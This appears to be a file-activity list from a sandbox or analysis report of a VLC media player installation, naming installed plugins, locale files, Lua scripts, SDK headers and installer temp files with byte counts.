%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png (126 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_md5.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll (13584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_charset.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\zapiks.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_strings.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_url.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\index.html (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sql.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\dkjson.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config_cat.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_video_splitter.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pluzz.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_objects.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_left.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_atomic.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll (3312 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VideoLAN Website.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll (30968 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\dailymotion.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png (115 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo (8560 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\deprecated.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll (66168 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metachannels.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\host.luac (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.catalog (167 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\footer (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\jamendo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\mobile.css (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_text_style.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\appletrailers.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_tls.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\prev.png (104 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\refresh.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xlib.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_meta.h (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoC61D.tmp (2197249 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo (484 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_variables.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\browse (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_equalizer.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\vlc-plugin.pc (816 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_intf.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc-48.png (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\buttons.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\unselected.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\cli.luac (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.dtd (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\favicon.ico (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_window.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll (6360 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Documentation.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dumpmeta.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_bits.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\THANKS.txt (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_00.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_playlist.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker.png (174 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_rand.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\controlers.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\offset_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Other-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\sout (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist.png (85 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\katsomo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\an\LC_MESSAGES\vlc.mo (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\README.TXT (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\sandbox.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\jamendo.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\eject.png (93 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\README.txt (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\NEWS.txt (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\play_pause.png (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_06.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_events.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll (17848 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\common.js (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\soundcloud.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll (16288 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ia\LC_MESSAGES\vlc.mo (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc-cache-gen.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.lib (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll (39329 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_right.png (91 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\stop.png (80 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\winamp2.xml (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dummy.luac (819 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_mixer.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\break.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll (16288 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\vlm (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\simplexml.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_configuration.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_dialog.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sout.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-1.5.1.min.js (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_03.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\reader\filename.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-ui-1.8.13.custom.min.js (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\extreme.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_up.png (112 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm.xml (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_modules.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_httpd.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pinkbike.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png (201 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo (12024 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlccore.dll (70870 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_view.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll (35784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fourcc.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sout.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\repeat.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sort.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\canalplus.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block_helper.h (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlc.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdC62D.tmp (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\.hosts (122 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png (103 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\info.png (142 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default.cfg (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo (21216 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_codec.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo (23296 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_image.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\he\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_http.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\default.vlt (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\koreus.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input.h (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdC62D.tmp\LangDLL.dll (15 bytes)
